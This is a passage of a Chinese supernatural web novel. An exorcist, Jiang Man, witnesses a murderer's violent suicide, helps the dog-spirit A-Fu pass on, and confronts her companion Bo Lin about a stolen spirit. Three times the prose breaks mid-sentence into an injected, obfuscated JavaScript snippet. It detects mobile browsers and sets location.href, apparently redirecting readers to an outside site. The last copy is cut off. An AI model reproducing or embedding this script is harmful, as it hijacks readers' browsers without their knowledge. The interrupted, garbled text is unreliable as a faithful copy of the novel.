阿福看向姜满,眼神中满是哀求,“你答应我的,救救爸爸!我什么都愿意做!” 没等姜满回答,戴志伟忽然推开阿福,站了起来,“别过来!你们这些畜牲!哈哈哈哈……活着的时候能被我杀,死了也能!别以为我怕你们!你们连畜牲都不如!想害我?” 说着,他突然从阵法中心的泥地里,拔出一把刀。 这是一把很大的菜刀,像菜场的杀猪刀,也是他杀了许多人的屠刀,他反复打磨过很多次的,即便杀了许多人,剁了许多骨肉,依然锋利无比。 毫无征兆的,戴志伟朝自己的身体,一刀又一刀地砍着,“杀死你们!哈哈哈……吃啊!不是喜欢吃肉吗?吃啊!哈哈哈……” 他一边砍自己,一边完全感觉不到疼痛似的狂笑。 “大、大大大长老,他这是被附身了?您不出手?”张云汉吓呆了。 程书韫眉头紧锁,正要飞出一道符纸,却被姜满出手拦住了,“没用,也来不及了,他是疯了,不是中邪。” 他们都没再说话。 这个人还是孩子的时候,家里人杀了他视为弟弟、视为家人的小狗,还将它端上了桌,哄他吃下,看着他不知情的咀嚼而笑得合不拢嘴,或许那个时候,他就已经疯了。 类似的事,以更残忍的方式,在他成为大人的时候,再次发生了。 或许只有疯了,才能承受吧。 戴阿福拼命想要拦住戴志伟,但很快,戴志伟的身体就软了下来,倒在了阿福的怀里。 此刻的他浑身是血,肠穿肚烂。 “爸爸……”戴阿福哭了,身体抖得不成样子。 戴志伟像是恢复了一些神志,伸出手,想要摸一摸阿福的脑袋,但他显然已经没有力气了。 “阿福,我、还是喜欢、你原来的样子……” 在阿福的全部记忆中,它照过镜子,它是一只漂亮的小黄狗,毛发蓬松,耳朵和嘴巴都是尖尖的,但是它吃的实在太多了,爸爸又那么宠着它,所以,它真的很胖,像一个球。 每一次,它胖乎乎的身体朝爸爸狂奔而去时,脚步打滑,都会逗的爸爸大笑起来。 它最喜欢爸爸把它抱起来,这样它就能舔到爸爸的脸,这样就能告诉爸爸,它真的很爱他,可是它很重,爸爸抱的很吃力,还没等它舔到爸爸的脸,爸爸就把他放下来了。 可是以后,爸爸再也抱不了它了。 戴志伟伸出无力的手擦了擦阿福的脸上的泪,“我真想……让他们、都下地狱……” 姜满上前一步,声音很轻,也很清晰,“他们会的。” “爸爸……”阿福哭着,看向姜满,“求求你,救救爸爸,你答应我的。” “我救不了。”姜满脸上没有表情。 “骗子!你们人都是骗子!我什么都告诉你了!可是我爸爸要死了!你们好坏!人都好坏……” 戴志伟黝黑的脸上荡漾起笑意,脸上的皱纹就像湖水泛起的涟漪,那么温和,那么动人。 他艰难地伸手,从裤子口袋里掏出一块放了很久的巧克力,包装袋上的字几乎都磨没了,里面的巧克力也化了。 “阿福……吃吧……以前、不能吃……现在,能了……” 姜满的脸上依旧没有什么表情,她抬头看了看天花板,似乎想透过这方冰冷的墙砖看到外面的天,“这个世界,可真是造孽。” 10. 第一座山(10) 戴志伟死了,张云汉超度了他,尸体留在原地,后续会有相关人员安排,不久后,檀州市便会破获一起连环杀人案,凶手是个疯子,已经自杀。 至于这里的其他灵,几人不约而同,都没管。 那些死于非命的灵,若是没有做错事,便不会生悔,对于灵的知觉来说,无悔便无执,自然会随着时间的流逝,顺应天道,转世轮回。 而那些做错事的,所谓的错事,就是针对戴志伟的“罚”,然后,因为悔和惧,他们会成为游灵,没有意识,无法害人,直到彻底的赎完罪,到那时,或许会有其他玄人来解放他们,或许,他们会下地狱,继续赎罪。 世间因果大抵如此,你做的恶,终有一天,会以你想不到的形式,让你赎罪。 姜满散去了她布在那栋小楼上空的术法,那是用来保护灵的,她不能容许意外发生,接着,她把失魂落魄的戴阿福带回了停车的地方。 她承诺他,很快就会让他和爸爸在一起,她向来不轻易承诺,承诺了,就一定会做到,哪怕,她有可能会成[空]。 不妨就试试呢? 原本她打算直接保留阿福的灵体,在这具身体里再放一个需要养伤的灵。 狗本就属阴,狗灵入体,这具人的身体就成为了天然的养灵器皿,且这人原本是要自杀的,没死成也因疾病活不长了,是她要的“带死气的阳衰之体”。 但现在,她决定,让张云汉超度阿福。 这是她的决定,也许会算作是她度灭了这只狗灵,让她进入诅咒,成[空],但也有可能,是她完成超度三千怨灵的第一单。 戴阿福伸手剥开戴志伟留给他的巧克力,放进口中,闭上眼细细咀嚼。 “很甜……” 他眼角挂着泪珠,消瘦难看的脸颊露出一抹笑意。 姜满从包里取出一袋坚果零食,从里面找到一颗果干,然后放在阿福的手心,“还有这个,尝尝吧,现在没办法给你找新鲜的葡萄,这个比葡萄甜一些,葡萄的水分很足,果肉比这个软嫩。” 阿福睁开眼,把那颗葡萄干塞进嘴里,“我吃过葡萄,偷偷吃的,我太贪吃了,所以吃了很多,然后我生了一场大病,几乎差点死了,从那以后,爸爸再也没有买过葡萄,他宁愿自己不吃,也不想我发生一点意外,他也从来不吃巧克力。” 巧克力的味道还在嘴巴里,这使得他尝不出葡萄干的甜味,但他仍旧细细咀嚼。 “谢谢。”他说,“我要去见爸爸了,用我原来的样子。” 姜满摸了摸他的脑袋,像摸一只小狗一样,“去吧,你爸爸会很高兴的。” “希望下辈子,我能做爸爸真正的孩子,这样,就不会有人说‘不过是一条狗’了,我知道,爸爸很讨厌这句话。” 姜满看着他的眼睛,“你是阿福,戴阿福。” “对,我是戴阿福。”阿福闭上了眼睛,脸上带着微笑。 张云汉盘膝而坐,单手覆于戴阿福的头顶,口中念诵经文。 几人看见,张云汉周身似有佛光,他双目微阖,嘴唇微动,整个人的气质,令人刮目相看。 程书韫的眼睛红的像一只小兔子,湿润的睫毛还没来得及被风干,眼泪又流了下来。 坐在车里的薄临似乎还不知道发生了什么,从敞开的车门看着这一切,神情有些茫然。 姜满朝他走去。 “发生了什么?”薄临问。 姜满简单的把事情的经过讲了个大概。 薄临沉默了片刻,“可惜了。”他像在自言自语。 “什么可惜?” “没什么,有我能帮忙的地方吗?” 姜满看着他,“你做的够多了,这些日子谢谢你,现在,是时候完成我们那个交易了,你什么都不用再给我,这辆车和手机,以及一切,足够了。” 薄临点点头,神情看不出什么变化,“我要怎么做?” “闭上眼睛,不要动。” “好。” 薄临闭上双眼,姜满伸出手,掌心轻轻覆在他后背的灵台穴,静静感受着。 ……找到了! 她的手慢慢滑向他的后脖颈,然后指尖触碰到了他的耳垂后侧,她的动作让薄临弯起了嘴角,似乎弄得他有些痒,但他的教养显然很好,只是嘴角弯起,身体有一些僵硬,却没有动。 姜满没有注意这些,她心里只有那个灵,她似乎没来由的有一种确信,这个灵,是阿卓。 她仔细的感受,接着,虚空一握,手中像是揪住了什么。 【当——】 一声熟悉又陌生的巨响陡然在姜满脑海中浮现,她竟然失控一般跌坐在地。 要成[空]了? 那次她杀人时,就是这种声响。 姜满久违的有些心慌,她觉得自己的心跳开始加快,呼吸也急促起来,她甚至不敢动一下。 【三千怨灵,叩谢[空]主姜氏,破除之法:需度化怨灵两千九百九十九。】 姜满愣住了。 竟然…… 忽然,没等她反应,空气中像是飞射过来一根极细的线,将她手中的那只灵,抢走了! 姜满手中一空,猛然回神。 “谁?” 她因为[空]音,竟然完全没有察觉到有人靠近! 完成了超度的张云汉还有些懵,程书韫皱着眉摆出架势,她要护住张云汉和戴阿福留下的这具病体。 被姜满抽出附体灵的薄临,像是刚睡醒一般,睁开了惺忪的双眼。 “哈哈哈,天一道大长老,久仰。”夜空中,一个声音从四面八方传来,男女不辨。 姜满站了起来,怒道:“你是什么人?敢抢我的……”她一时语塞,不知该用什么来称呼那只灵。 那个声音继续笑道:“有些事情想请教大长老,如果大长老有兴趣,请来滇南麓川的九黎寨,我们的楼缅翁会等着与您相见,共谈长生之法。” 姜满心头燃起一团火,如果不是因为[空]音…… 但此刻,她不得不压住怒意,“楼缅翁,你是巫玄?” 那声音笑着,“你的东西我们会替你保管,但是我们的耐心有限,最多只能保管……嗯,就三天吧,第四天,我们就会让它永远消失。” “我不知道什么长生之法!你给我滚出来!你要是敢伤了它,我要你们整个九黎寨陪——” 忽然有人拉住了她,是薄临,“冷静点,你不该这么说。”他低声在她耳边说道。 姜满眉头紧锁,她深吸一口气,沉声说:“好,不过,它如果消失了,你们想知道的一切,即便杀了我,也别想听到一个字。” 她当然明白薄临的意思,她表现的越重视,他们便越是拿捏住了她,那么她同样可以用这个办法,保护它。 “大长老……”张云汉此刻正抱着昏睡过去的那具病重的身体,程书韫与他一起守着这人。 程书韫起身,警觉地环顾四周,“姜满妹妹,你……需不需要帮忙?” 姜满摇摇头,“人已经走了。” 她心里很清楚,这个人能在他们这么多双眼睛前,连影子都没露,抢走她手里的灵,还留下话,所以,要么,来的是傀影,要么就是高手。 好不容易找到一点[空]的突破口,她不想因为一时不慎,杀人成[空],那样她会忘了一切,到时候别说是阿卓,就是行走坐卧、言语能力、思维……以及一切,她都不会记得,这就是成[空]。 这一点,她深信不疑。 她恨不得立刻赶去九黎寨,但是她也很清楚,她越着急,于对方越有利,她必须至少等到第三天。 姜满看向戴阿福留下的那个重病的人,连名字都不知道的人,问张云汉,“这样的人送去疗养院,很合适吧?” 张云汉有些迟钝地点点头。 一下子超度两只灵,他有些疲累,如果让他知道,还有两千九百九十九个等着他,也许他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578664|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁愿找个地方躲起来,也不会想再跟着姜满了。 两千九百九十九个,的确有些太多了。 姜满第一次思考起这个数字,原先她只在思考这个办法是否可行,这一次可行性被证实,她却有些迷茫。 四十几年前,具体她记不清了,她从[空]中醒来,那时她是真正的[空],她什么都不懂,不会说话,不会走路,甚至不会爬,后来,她遇到了人,来到了有人的地方,然后她学会了走路,那期间,所有人都以为她是傻子,再后来,她学会了说话,她懂得了语言。 就在这个时候,她听到了那段[空]音。 【空生降临,空主不可灭杀众灵记忆,即,不可灭杀生灵、死灵,违之再度成空,破除之法:超度三千怨灵。】 [空]音像是能识别[空主]的意识,一旦[空主]懂得了语言,就会收到信息。 后来,她杀了人,[空]音再次响起,这个声音像是完全没有感觉到她这位[空主]并没成[空],理所应当的,在识别到她懂得语言后,在她脑海里放了这段[空]音。 也许,比起度化怨灵,她更应该去找寻那一次没有成[空]的原因,为什么她明明杀死了一个人,杀死了一段记忆,但她还记得一切,为什么[空]音回响,她没有成[空]。 姜满回过头,遥遥看向戴志伟的那栋三层小楼的方向。 也许能死亡,能被超度,也是一种幸运。相较而言,她和那些留在原地的灵很像,可能,也在赎着什么自己早已忘却的罪。 经过商量,张云汉把病人扶上了程书韫的车,由他和程书韫先把这个病人送去疗养院,姜满负责把薄临送回家,然后再去紫微山路与张云汉二人会和。 至于三天后的九黎寨之行,在张云汉的强烈建议下,姜满同意带上程书韫一起,其实,比起张云汉,她看程书韫更顺眼一些。 几人分开行动。 此刻姜满开着那辆漂亮的越野车,只有两个人的车上,薄临坐在了副驾。 薄临说:“谢谢你,车祸那次和你们说的附体邪祟,我欠你两次。不过,以后我们是不是不会再见面了?” 他的声音一如既往的温和,不急不缓,像他的衣服一样,干净整齐,好像一点褶皱也没有。 姜满目不斜视,她开车一向很注意安全,尤其是夜间,她比任何人都害怕撞死什么小生命,不过现在的路还是很好,现在已经行驶到城区路段,路灯很亮,路上也基本见不到什么会被碾压的植物。 “嗯。” 薄临笑了笑,他的目光一直在姜满身上,像是被黏住了一样,“挺可惜的,你知道的,我的生活和你们很不一样,我觉得你们这样很有意思,我还想多见识几次的。” “是吗?”她的语气像是在敷衍,“是”字微微扬起,“吗”字很轻。 “一会儿到我家,洗个澡换身衣服吧,你现在这样,被别人看见,不好,我让人把车座打扫干净,你不用担心。” “嗯。”姜满也确实有这个需求,她身上实在脏得厉害。 “你……心情不太好?是在想阿福的事,还是……” 车缓缓停在白线前,姜满明亮清澈的双眸映着红灯,她转过头,眼中转而为薄临那张漂亮苍白的脸。 “薄先生,你说,这世上怎么会有那么多巧合,是天意,还是人为?”她轻轻笑了笑,“这个问题不好答,你可以先回答另一个问题,你,为什么总是盯着我看?” 薄临微微一怔,“我……在和你说话,当然要看着你,这是基本的——” 姜满打断了他,“你不笨,你知道我在说什么。” 薄临张了张嘴,眼中闪过一丝慌乱,“我,其实……我、我喜——” “别和我说什么喜欢我,薄先生,你不会真的觉得,我是二十不到的小姑娘吧?那我应该收回那句‘你不笨’。” 姜满嘴角带笑,眼神却是冷的。 “说吧,你,到底是谁?” 11. 第一座山(11) 红灯转为绿灯,但凌晨的这条路上,几乎没有其他车,没有鸣笛催促,也不存在阻碍交通,姜满的车就这样停在那儿,像是在等一个永远不会绿的红灯。 路灯真的很亮,车里开着空调,强劲而又持续的凉风不免让人生出几分寒意,但路灯把人的脸照得暖洋洋的。 薄临伸手把车内空调的温度调高了一些,轻轻叹了口气,“恩人,其实我不该瞒你的。” 他抬起头,神情从容,看不出半点阴谋与谎言的影子,他的声音依旧温和,不急不缓。 “等你到我家,你就明白了。” “你是巫玄对吧?”姜满收回视线,车子重新启动,迎着绿灯行驶过了这个路口,缓缓开在无人的路上。 “从一开始,你们就打听到了我是从哪里来的,所以,你去了西疆,甚至去了拉尔塔格金山,然后找到阿卓,让他附在你身上,再后来,你安排了一场车祸,让我注意到阿卓,让我知道你身上的附体灵是谁,然后跟在我身边,再自导自演一场戏,找人抢走阿卓,目的,就是让我去麓川,去你们的九黎寨。” 她很少和别人这样详细的说出自己的判断,但她认为,薄临毕竟真金白银的掏了钱,也给了她不少方便,她愿意和他说清楚,并给他一次机会。 因为,如果能让他成为她这边的人,后面的事会容易的多。 他的破绽太多了,除了她说出来的这些,医院里那个偷听她和张云汉说话的玄人、他作为普通人第一次直面鬼怪的态度、听到那个巫玄声音时他冷静的提醒,还有他一个人在车里等待他们的作案时间…… 一切都太值得怀疑与推敲。 薄临愣了愣,显然没明白过来。 姜满不屑地弯起嘴角,“你们的大费周章,真像个笑话,想知道什么,你直接问我,也许我就告诉你了呢?” 薄临低下头,隐藏在光影暗处的脸上,是一抹无奈又宠溺的笑,像极了听到小孩在他面前炫耀自己看穿了他,看穿他其实是个“外星人”。 但他总不能为了哄小孩,就顺着她说他真是“外星人”,所以,还是需要解释一下。 “我觉得,恩人,你应该是误会了。” “误会?你不承认?”她不多的耐心已经用完了,不免有些恼怒。 “也许是我的隐瞒让你有了这样的猜测,但是我从来没有去过九黎寨,也没有接触过什么巫玄。” 薄临解开了袖扣,露出了手臂和上面的纱布绷带,从肩膀一直缠到了手肘,却似乎并不影响他的行动。 “你的疑问,我都可以解释。你知道,我家所涉及的产业很多,遇到的事自然也多,所以,我接触过玄人,但我不是玄人,也没有接触过巫玄。” 他继续说:“我去西疆是因为一张照片,这就是我说你到我家就明白了的原因。” “照片?”姜满的视线在前方路上,眉头微微蹙起。 薄临点头,“是,一张一百多年前的照片,正是因为这张照片,我才会总是看你……那张照片上的人,和你很像。” 姜满的心跳像是漏了一拍,薄临的话带给她无数种可能。 薄临有些担心地看着她握住方向盘的手,她的手在抖,像是为了抑制这种躯体化的颤抖,她用力的握紧了方向盘,指节发白。 “或许,你需要停车,现在路上没人,停在路边,应该没事。” 姜满看了他一眼,接着转动方向盘,松开踩在油门上的脚,移到了刹车踏板,车子缓缓停在了路边。 “我会把车开去紫微山路,我在那儿等张云汉,你自己开着这辆车回家。” 她的眼睛落在车内每一处,像是无声的道别。 “这车还给你,我不要了,我也不需要去看那张照片,你是谁,与我无关,以后,我们不会再见了。” 薄临露出不解的神色,却还是维持着平静温和的语气,“但是,这辆车已经在你的名下了,要转给我需要办很多手续,我们可能……没法不见。” 天一道给了姜满一个妥帖的身份,在这个有秩序的社会,她是一个二十岁的普通女孩,有姓名、有户口。 姜满有些不耐烦,“那就随你怎么处理,反正我不要了。” 薄临静静地看着她,然后说:“其实你可以就在这儿把我放下,我能找人来接我,这辆车还是你的。” 姜满不置可否,打开车窗,夏夜的风吹在她脸上,似乎并不能给她带来一点平静。 她察觉到旁边这个人似乎还想说什么,却欲言又止。 “你想说什么?说吧。” 她并不讨厌他,相反,她很喜欢听他的声音,他的声音很像拉尔塔格金山的冰川,在阳光的温暖下,缓缓的滴落,然后汇聚成冰蓝色的湖泊,那么干净,那么漂亮。 “我原本想说,能不能问一问,你为什么不想看那张照片,但我想到你的答案,‘一定’是不能问。”薄临笑了。 他把“一定”二字咬的很重。 姜满的手肘搁在了车窗上,手背支着脑袋,侧过脸看向他,“一定?”她微笑起来,“不一定,我可以告诉你。” 薄临有些惊讶,眼睛微微睁大,不那么夸张,却能让人看出变化,面部肌肉往竖向微变,最好不要显露出抬头纹,只让眉毛微扬,尽量不让人注意到眉毛的变化,因为那样有些刻意,嘴巴不要变,保持放松,这样,可以让人觉得他仍然得体地维持着自己的风度。 他很自信,对于自己的每一个表情,没有人比他更熟悉,也没有人比他更会伪装。 姜满缓缓眨眼,像是眼皮沉重的倦怠感,也有些像慵懒放松的状态,“薄先生,如果我说,那张照片上的人,就是我,你相信吗?” 薄临垂眸想了想,点头答:“你说过我不笨,不敢有负恩人的夸赞,刚才那个巫玄的声音说过,要和你探讨长生之法,我猜,你应该活了很久。” 姜满嘴角弯起,轻轻眨眼,算是认可了他的答案,“你觉得,你,为什么是你?” “我,为什么是我?”薄临看了看时间,“这好像是个哲学问题,现在是凌晨三点十七分,我和你坐在车里,停在行驶路段,探讨哲学,这件事,似乎更像某种抽象行为艺术。” 姜满笑了笑,“我问的不是哲学问题,从理性角度分析,你之所以是你,是因为,你拥有作为薄临从小到大的全部记忆,所以你是你。” 她顿了顿,“我换个说法,你知道阿福的事。假设,那个被戴阿福附身的病人,名字叫甲,那么,由戴阿福为主导,拥有阿福的全部记忆的甲,还是甲吗?” 薄临没说话,像是在等她接着说。 姜满转过头,看着车窗外,“那不是甲,那是戴阿福,同样的,阿福离开了甲的身体,被张云汉超度,甲没有阿福的记忆,永远也不会再是阿福,甲就是甲,阿福消失了,这世上就再也没有阿福了……” 薄临依旧看着她,像来时在后座那样,静静看着她的侧脸。 他说,“但,你们记得,你、张云汉、程书韫,你们三个人记得甲曾经是阿福,你们记得那个附在甲身体里的戴阿福的一切,所以,甲可以是甲,也可以是戴阿福。” 姜满神情一凝,像是想到了什么,缓缓放下了支着脑袋的手。 她、张云汉、程书韫,他们三个都看到了戴阿福的全部记忆。一只小狗的记忆并不很长,甚至有很多枯燥重复的地方,那部分过的很快,但他们三个的确完整的看了一遍。 所以,超度三千怨灵的办法成功了,[空]音回响了,不是因为她没有亲自动手,而是因为……那段记忆还在! 对,杀死记忆才会成[空],只要保留住对方的记忆,就能保住自己的记忆! 她的呼吸有些急促,好像茫茫海上迷失方向、随波逐流的船,终于找到了灯塔。 离开天一道后,她曾几度在那个满是灰雾的梦中想要弄清楚的答案,此刻就在她面前!她再也不用在那个梦里大声问,也不用担心每次想要答案时,梦境就会消散。 她有了答案,也有了方向。 四周的一切好像都变得明亮了,映得她的眼睛更加清亮。 薄临看着她逐渐清明的眼神,缓缓开口:“所以,这个问题和你为什么不想看那张照片,有什么直接的关系?” 姜满心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14593126|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情很好,重新发动了车子,踩下油门,往紫微山路去,“因为我忘记了过去,但是,一点也不想记起来。” 她随口答道。 薄临微笑着,声音轻而缓,“你不认可那个被你忘记的自己?可是,那也是你,你不是戴阿福,被你忘记的你,也不是甲。” 姜满此刻已经把那种恐惧的情绪彻底的丢弃了,她不会去薄临的家,也不会看到那张照片,她的自我会一直在,直到她完成超度三千怨灵的任务,她将永远是她,她可以记住她想要记住的一切。 “薄先生,你对得起我的夸赞,可以说,你很聪明,但我是谁,你,说了不算。” 薄临的视线落在了前面的仪表盘,“车快没油了。”他指了指前面的十字路口,“我还是想建议你,前面右拐,还有大概五分钟车程就到我家了,我会让人洗车加油,你洗个澡换身衣服,如果你实在害怕看那张照片,我保证,它不会出现在你眼前。” 姜满看了他一眼,“害怕?你是听不懂人话吗?我不想看,不是害怕看。” “嗯,是我说错了。”薄临垂下眼帘,眼中满是笑意。 接近路口,车子驶入了右拐道。 薄临看着她专注开车的侧脸,“这张照片是你与我祖上长辈的合照,那位长辈细说起关系来比较绕口,我称呼他高曾祖父,我和他长得很像,家里人也总说,我的性格也很像他。” “我对那张照片没有兴趣。” “嗯,我知道。我是想说,我这样家世的人,是不被允许做自己喜欢的事的,你也许会觉得幼稚,但我真的喜欢冒险。我会因为那张在拉尔塔格金山摄下的老照片,就用我并不十分健康的身体,与朋友们去了那里,即便那次旅行的记忆不那么清晰,我也能感受到自己血液里的召唤。” 姜满笑了起来,像在听一个孩子诉说自己的理想。 “所以,既然你觉得我还算聪明,是否能同意让我多跟在你身边一些时日,多经历几次你们的日常?”薄临垂下眼帘,轻轻咳嗽了两声,“我的身体不好,以后,可能再也没机会了。” 姜满挑了挑眉。 身体不好的人,更不应该去接触与灵有关的一切才对,但像薄临这样的富家公子,她是在书里看过的,最是喜欢没事找事。 “我为什么要在意你有没有机会?这和我没关系。” 薄临嘴角微扬,“作为交换,我可以为你们提供一切我能提供的物质条件,而且,被你认可的‘聪明’,也许能帮上你。” “帮我?” 薄临放松了身体,轻轻靠在座椅上,“我知道,你很在意之前我身上的附体灵,也许他生前对你很重要,关心则乱,我不是玄人,并不能理解你想要做什么,但是,如果你想全身而退,并且保护那位附体灵,你应该放出消息。” 姜满脸上的笑意渐渐转为认真与专注。 她模糊的意识到,与张云汉相比,薄临才更适合做她的伙伴,前提是,他真的只是他口中的薄临,而没有什么其他身份。 薄临看见她的反应,笑了笑,继续说:“把这个消息放出去,用你们的方式,让更多的玄人知道: 三天后,你要去九黎寨告诉那些巫玄,长生之法的秘密。” 姜满没说话,车子停在了闸门前,旁边的机器识别了车牌,缓缓打开了门。 薄临看着前路,那是一条曲折的林荫道,两旁是茂密整齐的雪松,耳边有寻常的蝉鸣,矮矮的路灯惨白暗淡,路上一个人都没有。 看着这条路,他的眼中却闪过一丝寒意,下一瞬,转而为笑,看向姜满,正想说什么,然后他的手机随着他手指轻轻一动,适时响了,他又低下头打开看了看,是一条信息,接着,他像是有了心事,对姜满说: “嗯……换我来开吧,路不长,虽然我肩膀伤势没养好,但这条路我很熟悉,可以开。我……是担心这条路暗,又经常有些野猫野狗窜出来,怕惊到你。” 姜满想了想,点点头。 她没必要冒这种险,这条路的确暗,而且不像外面的路那么宽,视野不好,万一真的不慎撞死哪怕一只小虫,代价都是不值得。 12. 第一座山(12) 对于天一疗养院来说,办理一位真正的病人入住,手续并不会太复杂,他们有自己的办法,所以张云汉与程书韫把人送到之后,做了简单的交接,就算完成了任务。 薄临刚换到驾驶位系上安全带,就接到了张云汉的电话,他心不在焉,随口邀请了他们一起来薄家,把定位发给了张云汉,随后,心事重重地缓缓踩下油门。 他开得很慢,大约二十码的车速,也许是因为他肩膀的伤,让他对这段曲折的小路有些谨慎。 姜满当然察觉到他的不对劲,可她莫名觉得,他似乎有点刻意,刻意地让她感觉到他的状态,可他为什么要这么做呢? 她的目光落在了他放在中间的手机上,这一切是在他收到一条信息之后开始的。 薄临的手机与送她的手机是一样的,所以,信息的声音她能分辨。 薄临注意到她的目光,笑得有些牵强,但他那双在昏暗光线下的眼眸中,却闪烁着玩味,可惜姜满看不见。 “恩人,刚才一路基本都是我在回答你的问题,现在,我能问你一个问题吗?” “你问。”姜满看似随口敷衍,但却听得仔细,她想知道,他到底在搞什么名堂。 眼前这条路修得比天一疗养院下山的路还要平整,路面干净的像天天有人清洗,路并不算宽,黄线区分开了两条车道,整条路像是故意为了某种造型或是风水,修得像一条游蛇,曲折蜿蜒,两边是修剪整齐的雪松树,树后面是灌木与各种植物,里面埋伏着数不清的虫蚁,只这些不绝于耳的蝉鸣便可见一斑,满眼的绿意幽幽,也带来一丝凉意。 远看去,薄家应该是在这条路的尽头,是一段上山的路。 以前,高人喜欢住在山里,现在看来,富人也喜欢住在山里。 薄临的声音传来,他令人舒服的嗓音像是蒙上了雾气,“假设有一个人病了,我有很多药,于是我救了他,但后来,我不再给他药了,是我错了吗?” 姜满眉头微蹙,对他提出的问题感到意外,但还是想了想,问道:“你的药还是很多?” 薄临点了点头。 “那你为什么不给他?”姜满觉得,这个问题很莫名其妙。 薄临不像姜满开车时那么专注,他侧过脸看着她,脸上带着浅浅的笑,“我,为什么要给他?” 姜满面上的不解更深了,她正要开口,眼角余光似乎看见什么东西窜出来了,她惊呼一声,“你看路!” 薄临皱起眉头,猛打方向,脚踩刹车—— 安全带死死卡住两人,且这不算是什么大事故,车子撞到了一旁的树上,树没倒,但是劈叉了,这辆崭新的越野车车头破相了,不过还好,不是她开的车,这树或是树上的什么生灵即便死了,也和她没关系。 姜满坐稳之后,抬起头,“你没事吧?” 薄临捂住自己受伤的肩膀,脸色似乎又白了几分,“可能,有一点。” “先下车看看。”姜满留意到他指缝间,白色细条纹衬衫上渗出的一点殷红,她正想解开安全带下车,手却被薄临轻轻按住了。 薄临说:“待在车上,我找人处理。” 姜满抻了抻脖子,为了能看到外面的情况,“撞到人了?嗯……躺地上呢。”她自问自答着。 是个女人,长卷发,连衣裙,侧躺在地上,头枕着一条手臂,另一只手伏在地上,脸上画着精致的妆容,但是粉实在有点厚,此刻闭着眼睛一动不动。 姜满看清了,嘴角缓缓扬起,“这是野猫,还是野狗?” 这句话没有什么特别的意思,她只是想到了薄临提出他来开车时说的话——这条路暗,经常有野猫野狗窜出来。 薄临完全不关注车外的情况,他像是早已料到,拦住姜满下车的举动后,锁了车,把车窗关上,然后拿起手机,一番操作后,又放了下来,接着看向姜满,却没回答她的问题,反问道:“所以,你还没回答我的问题,我,为什么要给他?” “你说……药?”姜满有些诧异,但还是回答了他,“我不觉得你这算是什么问题,药是你的,你想给就给,不想给就不给,但……如果你连自己的东西都不能做主,只有两种可能:一,你无能;二,那药与你,命中无缘。” 薄临愣了愣,突然笑了起来。 他想,她是那么有趣,每一次对于这个一模一样的问题,她的答案都比上一次更完美。 姜满看着他的脸,缓缓虚眯起双眼,“外面躺着的那个,就是拿了你‘药’的‘病人’?” “嗯。”薄临闭上眼,靠在椅背上,手一直没离开肩膀,似乎很疼。 姜满也靠在了椅背上。 她不关心薄临的伤势如何,也不在意外面躺着的那个女人是怎么回事,她只知道,没人会死,此刻,在这里,没有生灵或是死灵会死。 事实上,姜满什么都不怕,唯独对死这个字敬而远之,生怕沾点边。 她是不死的,但成[空]还不如死了。 成[空]不是简单的失忆,因为这不是一种病,而是一种来自于未知的诅咒,一个脑子里什么都没有的人,可能连在母体待了十个月的婴儿都不如,也许,成[空]后的她可能还算不上是人。 姜满开始思考,阿卓是一定要救的,至于那些人想要的“长生之法的秘密”……她不由的想笑。 她要是知道,她就不会心惊胆战地承受什么随时会[空]的宿命了。 让更多的玄人知道……薄临的办法真的有用吗?她实在不清楚有几个玄人会对所谓的长生之法有兴趣,因为她不理解长生有什么好处,即便她明白这对那些人来说可能算是个诱惑,她也不确定怎么才能让那些人相信:她是长生的,或者说,不老不死的。 这件事必须尽快解决,然后,她就要开始“超度之旅”。 真是荒谬,两千九百九十九,她竟然要依靠别人,她回想起张云汉的模样,他这小身板,能坚持几个? 找到方向的喜悦,此刻变成了烦闷。 事实上,她即便知道了只要保住怨灵的记忆再行超度的办法,她也离不开张云汉。 这便是张信德的高明之处,老头知道,她没有办法超度别人,在找到这个办法以前,她不是没学过超度之法,可无论她找哪个佛寺、多么德高望重的僧玄,答案都一样,她念不了那些经文,念了也没用。 他们说,她戾气太重。 “车里太闷了是吗?” 注意到姜满的烦躁,薄临开口问道。 姜满顺着他的话发泄着烦闷,语气有些不耐烦,“那个女的把这儿当床了?打算睡到天亮吗?” “睡?”薄临笑了,然后做出担忧的神情看向窗外,“或许她是被我撞到了呢?” “她是树吗?”姜满用目光指向那棵无辜的雪松,然后低头看了看时间,“已经三分钟了,你的人效率实在……” 她没再说下去,因为她看到有两个保安小跑着过来了。 情况很明了,薄临方向盘打的及时,压根就没碰到那个女人,且她显然是精心准备而来,凌晨打扮成这样,出现在这条只通往薄家的路,躺的那么……不合理。 所以这个女人不是无辜的受害者,也不是什么鬼魅精怪,是处心积虑想谋求什么的人,自然就是薄临口中那个拿了“药”的“病人”。 “小薄总。”其中一个保安敲开了车窗,“实在抱歉,我们也不知道她是怎么进来的。” 那女人依旧躺着,一动不动。 薄临没有看她,也没有看保安,垂着眼帘,“尽快处理。” “好的好的,我们这就把她抬走。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 